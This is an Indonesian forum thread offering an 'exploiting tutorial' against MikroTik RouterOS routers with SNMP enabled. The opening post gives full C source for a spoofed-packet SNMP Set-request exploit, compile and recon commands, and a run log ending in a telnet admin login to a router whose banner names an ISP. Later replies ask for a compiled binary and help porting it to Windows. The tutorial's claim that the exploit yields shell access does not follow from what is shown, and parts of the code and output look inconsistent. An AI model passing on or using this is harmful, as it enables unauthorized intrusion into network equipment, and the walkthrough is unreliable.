Results 1 to 13 of 13
http://idgs.in/195004
  1. #1

    Join Date
    May 2008
    Location
    /proc/sys/kernel/randomize_va_space
    Posts
    875
    Points
    1,326.90
    Thanks: 0 / 13 / 8

    Default [adv exploiting tutorial] gaining access Mikrotik 2.9.51 (2.9.x branch), 3.13 yg enable SNMP

    om momod nebeng mindahin tutor2 gw yg diforum laen kesini ya..hehe,

    ini tutor buat gaining access ke shell mikrotik, dah lm bgt gw tulis di forum2 underground tetangga..

    ni source cm jln di unix ya.. berhubung headerny <sys/socket>, kaga pake <winsock>
    Code:
    /*  --------------------------------------------------------------------------
     *                          (c) ShadOS 2008
     * 	       _  _     _ _ _  __     _      _   _       
     *	      | || |___| | | |/ /_ _ (_)__ _| |_| |_ ___ 
     *	      | __ / -_) | | ' <| ' \| / _` | ' \  _(_-< 
     *	      |_||_\___|_|_|_|\_\_||_|_\__, |_||_\__/__/ 
     *    	        hellknights.void.ru    |___/  .0x48k.    
     *
     *  --------------------------------------------------------------------------
     *
     *  Title: MicroTik RouterOS <=3.13 SNMP write (Set request) PoC exploit. 
     *
     *  Vendor: www.mikrotik.com
     *
     *  Vulnerable versions: 2.9.51 (2.9.x branch), 3.13 (3.x branch)
     *  (prior versions also affected).
     *
     *  Funded: 03.09.2008 by ShadOS (http://hellknights.void.ru)
     *
     *  Let's see the manual:
     *  http://www.mikrotik.com/testdocs/ros/2.9/root/snmp_content.php
     *  
     *  
     *  
    * * > SNMP Service * > * > General Information * > * > Summary * > * > ... RouterOS supports only Get, which means that you can use this implementation only for network monitoring. * > * > * > The MikroTik RouterOS supports: * > * > SNMPv1 only * > Read-only access is provided to the NMS (network management system) * > User defined communities are supported * > Get and GetNext actions * > No Set support * > No Trap support * > * * *
    * * * Don't forget to visit our site and my homepage for new releases: * http://hellknights.void.ru * http://shados.freeweb7.com * Also, you can mail me any bugs or suggestions: * mailto: shados /at/ mail /dot/ ru * * Thanks 2 cih.ms and all my friends. * -------------------------------------------------------------------------- * * Copyright (C) 89, 90, 91, 1995-2008 Free Software Foundation. * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2, or (at your option) * any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software Foundation, * Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. * * -------------------------------------------------------------------------- */ #include <stdio.h> #include <stdlib.h> #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <netinet/ip.h> #include <netinet/udp.h> #include <netdb.h> #include <memory.h> #include <string.h> unsigned char evilcode[49] = { 0x33, 0x02, 0x01, 0x02, 0x02, 0x01, 0x00, 0x02, 0x01, 0x00, 0x30, 0x18, 0x30, 0x16, 0x06, 0x08, 0x2B, 0x06, 0x01, 0x02, 0x01, 0x01, 0x05, 0x00, 0x04, 0x17, 0x57, 0x72, 0x69, 0x74, 0x65, 0x20, 0x69, 0x73, 0x20, 0x6E, 0x6F, 0x74, 0x20, 0x73, 0x75, 0x70, 0x70, 0x6F, 0x72, 0x74, 0x65, 0x64, 0x21 }; unsigned short in_cksum(addr, len) u_short *addr; int len; { register int nleft = len; register u_short *w = addr; register int sum = 0; u_short answer = 0; while (nleft > 1) { sum += *w++; sum += *w++; nleft -= 2; } if (nleft == 1) { *(u_char *) (&answer) = *(u_char *) w; sum += answer; } sum = (sum >> 17) + (sum & 0xffff); sum += (sum >> 17); answer = -sum; return (answer); } int sendudp(int sock,unsigned long *saddr, unsigned long *daddr,unsigned int sport,unsigned int dport,char *data, int len) { char *packet; struct sockaddr_in dstaddr; struct iphdr *ip; struct udphdr *udp; packet = (char *)malloc(sizeof(struct iphdr) + sizeof(struct udphdr) + len); memset(packet,0,sizeof(struct iphdr) + sizeof(struct udphdr) + len); if (packet == NULL) { printf("Malloc failed\n"); exit(-1); } ip = (struct iphdr *)packet; udp = (struct udphdr *)(packet+sizeof(struct iphdr)); ip->saddr = *saddr; ip->daddr = *daddr; ip->version = 4; ip->ihl = 5; ip->ttl = 255; ip->id = htons((unsigned short) rand()); ip->protocol = IPPROTO_UDP; ip->tot_len = htons(sizeof(struct iphdr) + sizeof(struct udphdr)+len); ip->check = in_cksum(ip, sizeof(struct iphdr)); udp->source = htons(sport); udp->dest = htons(dport); udp->len = htons(sizeof(struct udphdr) + len); memcpy(packet + (sizeof(struct iphdr) + sizeof(struct udphdr)),data,len); dstaddr.sin_family = AF_INET; dstaddr.sin_addr.s_addr = *daddr; if (sendto(sock, packet, sizeof(struct iphdr) + sizeof(struct udphdr)+len,0,(struct sockaddr *)&dstaddr,sizeof(struct sockaddr_in)) < 0) perror("sendto() failed"); free(packet); } char * makereq(char *community,int *size) { char *buf; char *ptr; int len; int i; len = 7 + strlen(community) + sizeof(evilcode); buf = (char *)malloc(len); ptr = buf; *ptr++ = 0x30; *ptr++ = len; /* Snmp Version */ *ptr++ = 0x02; *ptr++ = 0x01; *ptr++ = 0x00; /* Community */ *ptr++ = 0x04; *ptr++ = strlen(community); strcpy(ptr,community); ptr = ptr + strlen(community); *ptr++ = 0xA3; /* Set Request */ memcpy(ptr, evilcode, sizeof(evilcode)); ptr = ptr + sizeof(evilcode); *size = len+1; return buf; } int erexit(char *msg) { printf("%s\n",msg); exit (-1) ; } int usage() { printf("Usage: ./snmpdos <-s source> <-d dest> <-c community>\n"); } int main(int argc, char **argv) { char *saddr,*daddr,*community; unsigned char *buf; int size; int sock; unsigned long lsaddr,ldaddr; int i; saddr = NULL; daddr = NULL; if (argc != 7) { usage(); erexit("not enough args\n"); } if (!strcmp(argv[1],"-s")) saddr = strdup(argv[2]); if (!strcmp(argv[3],"-d")) daddr = strdup(argv[4]); if (!strcmp(argv[5],"-c")) community = strdup(argv[6]); printf("Ok, spoofing packets from %s to %s\n",saddr,daddr); if (inet_addr(saddr) == -1 || inet_addr(daddr) == -1) erexit("Invalid source/destination IP address\n"); if (saddr == NULL) { usage(); erexit("No Source Address"); } if (daddr == NULL) { usage(); erexit("No Dest Address"); } sock = socket(AF_INET,SOCK_RAW,IPPROTO_RAW); if (sock == -1) erexit("Couldnt open Raw socket!(Are you root?)\n"); lsaddr = inet_addr(saddr); ldaddr = inet_addr(daddr); buf = makereq(community,&size); printf("Sending %d bytes buffer:\n",size); for (i=0;i<size;i++) printf("0x%02x ",buf[i]); printf("\n"); sendudp(sock,&lsaddr,&ldaddr,32788,161,buf,size); fprintf(stdout,"Sent packet. \"/system identity\" must be changed.\n"); return 0; } // milw0rm.com [2008-09-05]
    compile source C diatas dgn gcc anda
    Code:
    me@di3:~> gcc -o mtcrash mt.c
    me@di3:~>
    jika konfigurasi mikrotik target dibuat seperti ini oleh admin : (disini vulnernya)
    Code:
    [i][admin@MikroTik] /snmp> /snmp set enabled=yes
    [admin@MikroTik] /snmp> / snmp community set public name="public" address=192.168.1.0/24 read-access=yes
    [admin@MikroTik] /snmp> print
             enabled: yes
             contact: ""
            location: ""
           engine-id: ""
        engine-boots: 0
         time-window: 15
           trap-sink: 0.0.0.0
      trap-community: (unknown)
        trap-version: 1
    dan kita tes snmp server target dgn perintah :
    Code:
    me@di3:~> snmpwalk -v1 -cpublic 192.168.1.2
    SNMPv2-MIB::sysDescr.0 = STRING: router
    SNMPv2-MIB::sysObjectID.0 = OID: SNMPv2-SMI::enterprises.14988.1
    DISMAN-EVENT-MIB::sysUpTimeInstance = Timeticks: (2297300) 6:22:53.00
    SNMPv2-MIB::sysContact.0 = STRING:
    SNMPv2-MIB::sysName.0 = STRING: MikroTik
    SNMPv2-MIB::sysLocation.0 = STRING:
    SNMPv2-MIB::sysServices.0 = INTEGER: 78
    IF-MIB::ifNumber.0 = INTEGER: 2
    IF-MIB::ifIndex.1 = INTEGER: 1
    IF-MIB::ifIndex.2 = INTEGER: 2
    IF-MIB::ifDescr.1 = STRING: ether1
    report diatas mengindikasikan snmp service di server aktif dgn publicname=public
    maka kita bisa exploitasi dgn source yg sy kasih diatas sebelumny sbb:
    Code:
    me@di3:~> su -c "./mtcrash -s 192.168.1.5 -d 192.168.1.2 -c public"
    Password:
    Ok, spoofing packets from 192.168.1.5 to 192.168.1.2
    Sent packet. SNMPd must be down.
    me@di3:~> snmpwalk -v1 -cpublic 192.168.1.2
    
    me@di3:~> ping -n 192.168.1.2 
    PING 192.168.1.2 (10.0.2.163) 56(84) bytes of data.
    64 bytes from 192.168.1.2: icmp_seq=1 ttl=62 time=49.7 ms
    64 bytes from 192.168.1.2: icmp_seq=2 ttl=62 time=28.4 ms
    
    --- 192.168.1.2 ping statistics ---
    2 packets transmitted, 2 received, 0% packet loss, time 999ms
    rtt min/avg/max/mdev = 28.413/39.066/49.719/10.653 ms
    me@di3:~> telnet 192.168.1.2   //lakukan kembali koneksi lwt telnet
    Trying 192.168.1.2...
    Connected to 192.168.1.2
    Escape character is '^]'.
    
    MikroTik v3.2
    Login: admin
    Password:
    
      MMM      MMM       KKK                          TTTTTTTTTTT      KKK
      MMMM    MMMM       KKK                          TTTTTTTTTTT      KKK
      MMM MMMM MMM  III  KKK  KKK  RRRRRR     OOOOOO      TTT     III  KKK  KKK
      MMM  MM  MMM  III  KKKKK     RRR  RRR  OOO  OOO     TTT     III  KKKKK
      MMM      MMM  III  KKK KKK   RRRRRR    OOO  OOO     TTT     III  KKK KKK
      MMM      MMM  III  KKK  KKK  RRR  RRR   OOOOOO      TTT     III  KKK  KKK
    
      MikroTik RouterOS 3.2 (c) 1999-2008       http://www.mikrotik.com/
    
    
    Property of Midcoast Internet Solutions 2075948277 or http://www.midcoast.com
    Unauthorized access will be prosecuted.
    All Access is logged.
     
    [admin@MikroTik] > sys res print                       //bang!..
    bad command name res (line 1 column 5)
    [admin@MikroTik] > /system resource print
                       uptime: 6h25m34s
                      version: "3.2"
                  free-memory: 3456kB
                 total-memory: 13964kB
                          cpu: "MIPS 4Kc V0.11"
                    cpu-count: 1
                cpu-frequency: 175MHz
                     cpu-load: 100
               free-hdd-space: 33696kB
              total-hdd-space: 61440kB
      write-sect-since-reboot: 513
             write-sect-total: 197504
                   bad-blocks: 0
    [admin@MikroTik] >
    dor.. dapet deh admin shellnya..

    by:bl00d13z a.k.a b1n4ry_g33k5/c0mrade

  2. Hot Ad
  3. #2
    Black Zero's Avatar
    Join Date
    Jun 2008
    Location
    Jakarta
    Posts
    6,985
    Points
    7,682.70
    Thanks: 8 / 7 / 7

    Default

    Sori , klo bisa attach aja langsung file nya yang udah dicompile. ga semua orang ngerti cara compile gcc ==a

  4. #3
    Kurt.D.Cobain's Avatar
    Join Date
    Apr 2008
    Location
    =
    Posts
    1,974
    Points
    4,012.20
    Thanks: 0 / 20 / 17

    Default

    Quote Originally Posted by bl00d13z View Post
    om momod nebeng mindahin tutor2 gw yg diforum laen kesini ya..hehe,
    Iya Bro ... Ntar di Index ama Black Zero ... Dia kan Indexer
    For Fun
    www.R-L.me

  5. #4
    ditatompel's Avatar
    Join Date
    Apr 2008
    Location
    Semarang, Jogja, Surabaya... Sak karepku....
    Posts
    308
    Points
    402.20
    Thanks: 0 / 2 / 2

    Default

    iyaa.. gw ga ngerti apa2... oakwoakwoawk
    Quote Originally Posted by ditatompel View Post
    lets play truth and dare, or just play dare cause no one tells the truth anymore

  6. #5

    Join Date
    May 2008
    Location
    /proc/sys/kernel/randomize_va_space
    Posts
    875
    Points
    1,326.90
    Thanks: 0 / 13 / 8

    Default

    nah.. justru itu pembelajaranny.. malah gw pngenny ad proses,.biarpun ngompile itu spele tp tetep suatu saat bakal berhadapan ama ngompile2 kalo udh mulai belajar coding^ ^
    (cr ngompileny sbnernya udah gw kasih diatas), tgl copas sourcenya ke editor, save ma ekstensi .c compile ama gcc deh.. pake opsi -o buat output filename, diiringi ama filename resourceny yg ekstensi .c (ga pake library2 khusus kok ngompileny)klo ad error bs share kesini biar bs dibahas..^ ^

  7. #6
    koker123's Avatar
    Join Date
    Jan 2007
    Location
    Somewhere on Earth
    Posts
    838
    Points
    993.90
    Thanks: 1 / 2 / 2

    Default

    itu klo mau d pake d windows tinggal ganti headernya doang kah ?
    bs download d mana tuh ya headernya, ato dah default ?
    gak begitu ngerti networking si hehehe....

    c om gak d jelasin d simpen jadi apa tuh file, unix pula. lol

  8. #7

    Join Date
    May 2008
    Location
    /proc/sys/kernel/randomize_va_space
    Posts
    875
    Points
    1,326.90
    Thanks: 0 / 13 / 8

    Default

    Quote Originally Posted by koker123 View Post
    itu klo mau d pake d windows tinggal ganti headernya doang kah ?
    bs download d mana tuh ya headernya, ato dah default ?
    gak begitu ngerti networking si hehehe....

    c om gak d jelasin d simpen jadi apa tuh file, unix pula. lol
    bisa kok..pake cygwin aj, jgn ganti langsung headerny jd winsock, ada beberapa struktur yg beda, saran gw klo mau jalanin di windows install ja dlu cygwin, tar kan bs pake gcc di windoz..

    btw file itu disimpen jd namefile.c (namefile = terserah apapun) di cth gw kasih mt.c dan setelah dicompile jadinya file binary mtcrash

  9. #8
    koker123's Avatar
    Join Date
    Jan 2007
    Location
    Somewhere on Earth
    Posts
    838
    Points
    993.90
    Thanks: 1 / 2 / 2

    Default

    harus pake gcc kah ?

    soalnya gw punya blodsheed c++
    klo gak salah itu bisa kok buat compile file c juga

  10. #9

    Join Date
    May 2008
    Location
    /proc/sys/kernel/randomize_va_space
    Posts
    875
    Points
    1,326.90
    Thanks: 0 / 13 / 8

    Default

    Quote Originally Posted by koker123 View Post
    harus pake gcc kah ?

    soalnya gw punya blodsheed c++
    klo gak salah itu bisa kok buat compile file c juga
    lah libraryny kan library unix, di windows mana ada direktori /sys atau /netinet, gw lom cb pake blodsheed, di windoz ngompile c gw pake lcc, buat unix gcc... beda loh struktur library unix ma windoz, klo yg multiplatform di programming tuh keq perl, python, java, itu baru bisa pake source yg sama dicompile diberbagai platform, klo C ma tergantung struktur headerny, sm keq <conio.h> di unix mana ada..jd klo mau crossplatform ya ada 2 cara, bisa edit ulang header ma struktur programny bisa pake emulator compiler utk crossplatform

  11. #10
    koker123's Avatar
    Join Date
    Jan 2007
    Location
    Somewhere on Earth
    Posts
    838
    Points
    993.90
    Thanks: 1 / 2 / 2

    Default

    jadi intinya klo gw pake tuh program cuman tinggal ganti header tanpa harus ganti ulang strukturnya ?
    ntar gw coba deh

  12. #11

    Join Date
    May 2008
    Location
    /proc/sys/kernel/randomize_va_space
    Posts
    875
    Points
    1,326.90
    Thanks: 0 / 13 / 8

    Default

    Quote Originally Posted by koker123 View Post
    jadi intinya klo gw pake tuh program cuman tinggal ganti header tanpa harus ganti ulang strukturnya ?
    ntar gw coba deh
    eh ga.. =_=, duh gni ni.. gw paling susah klo nerangin,. ga bakat >.<

    struktur penulisannya ada yg beda antara winsock ma socket di unix, strukturny jg harus ada yg diubah, atau km pake compiler emulator buat C unix, yg gw sebut tadi (cygwin),.klo emg niat ganti ke winsock ada beberapa nih yg perlu dirubah :

    kalo ada header:
    Code:
    #include <sys/types.h>
    #include <sys/socket.h>
    #include <netinet/in.h>
    #include <netdb.h>
    bisa diganti ke:
    Code:
    #include <winsock(2).h>
    #include <windows.h>
    ganti tipe data pembentuk socket jadi Socket sock; yang biasanya int sock; kalo di unix..

    trus kalo liat definisi type yg unsigned short atau unsigned long,dll ganti ke USHORT,ULONG
    ea.. jd nerangin tutorial Cnya malah..
    gtu kurang lebih.. penulisan jg ada yg beda antara C di windoz ama C di unix,

  13. #12
    op3l's Avatar
    Join Date
    Oct 2006
    Location
    Surabaya
    Posts
    1,787
    Points
    2,028.60
    Thanks: 1 / 1 / 1

    Default

    gcc pnya linux kalau ga salah compile nya

    gcc -o namafileoutput namafileinput.C


    kalau gak salah ini namanya socket programming, dilinux lebih gampang 'nusuk'nya daripada dwindows

    entahlah dlu saya juga pake linux jadi blum pnah coba dwindows jalan gak
    Yang Penting NgeJUNK

  14. #13

    Join Date
    May 2008
    Location
    /proc/sys/kernel/randomize_va_space
    Posts
    875
    Points
    1,326.90
    Thanks: 0 / 13 / 8

    Default

    Quote Originally Posted by op3l View Post
    gcc pnya linux kalau ga salah compile nya

    gcc -o namafileoutput namafileinput.C


    kalau gak salah ini namanya socket programming, dilinux lebih gampang 'nusuk'nya daripada dwindows

    entahlah dlu saya juga pake linux jadi blum pnah coba dwindows jalan gak
    yap.. klo nambah library khusus ngompileny tmbh nama libraryny, misal pake <pcap.h>
    gcc -o namefileoutput namefileinput.c -lpcap
    yup.. ini socket programming,.

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts
  •